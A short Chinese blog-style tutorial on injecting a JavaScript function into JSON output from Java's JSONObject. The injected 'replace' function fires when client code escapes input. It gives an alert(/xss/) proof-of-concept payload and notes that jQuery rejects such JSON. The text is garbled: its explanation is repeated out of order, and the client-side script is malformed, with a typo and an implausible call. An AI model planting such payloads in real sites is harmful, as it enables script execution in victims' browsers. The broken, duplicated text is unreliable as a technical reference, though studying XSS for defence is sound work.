大家都清楚json 类似于字典的样子吧,这里就不再赘述了,XSS直接上代码:
JSONObject 在输出json串的时候,info会作为对象输出,并且其中嵌入replace方法,js再调用replace
方法转义过滤时,也就调用的嵌入的replace方法。(这里是根据程序员的常规习惯,让他自动到用户触发,但是如果客户端代码没有调用对应的函数就不会被触发,所以这里要首先纵观原有
js代码的,构造可以被触发的函数也是要注意的)
具体的触发过程如下:
根据不同的场合这个info可以构造成不同对象,也可以构造数组{function(){alert(/xss/)}},或者是简单的
函数function(){alert(/xss/)},
值得注意的是这种方法在jQuery中行不通,jQuery会对json串的格式做检查,如果是一般的ajax和jsonp都可能会存在这种xss问题。最后说句,搞XSS,很多的小X都是需要极其猥琐的思路一点点挖掘了。
json = new JSONObject();
json.put("code", 200);
json.put("info", "{'replace':function(){alert(/xss/);}}");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}
JSONObject 在输出json串的时候,info会作为对象输出,并且其中嵌入replace方法,js再调用replace
方法转义过滤时,也就调用的嵌入的replace方法。(这里是根据程序员的常规习惯,让他自动到用户触发,但是如果客户端代码没有调用对应的函数就不会被触发,所以这里要首先纵观原有
js代码的,构造可以被触发的函数也是要注意的)
具体的触发过程如下:
<script tpye='text/javascript'>
json= JSONObject.json_list('info')['replace'] // 这段是客户端代码会调用到的,所以就会抛出这个函数了
function()
{
alert(/xss/);
}
</script>
根据不同的场合这个info可以构造成不同对象,也可以构造数组{function(){alert(/xss/)}},或者是简单的
函数function(){alert(/xss/)},
值得注意的是这种方法在jQuery中行不通,jQuery会对json串的格式做检查,如果是一般的ajax和jsonp都可能会存在这种xss问题。最后说句,搞XSS,很多的小X都是需要极其猥琐的思路一点点挖掘了。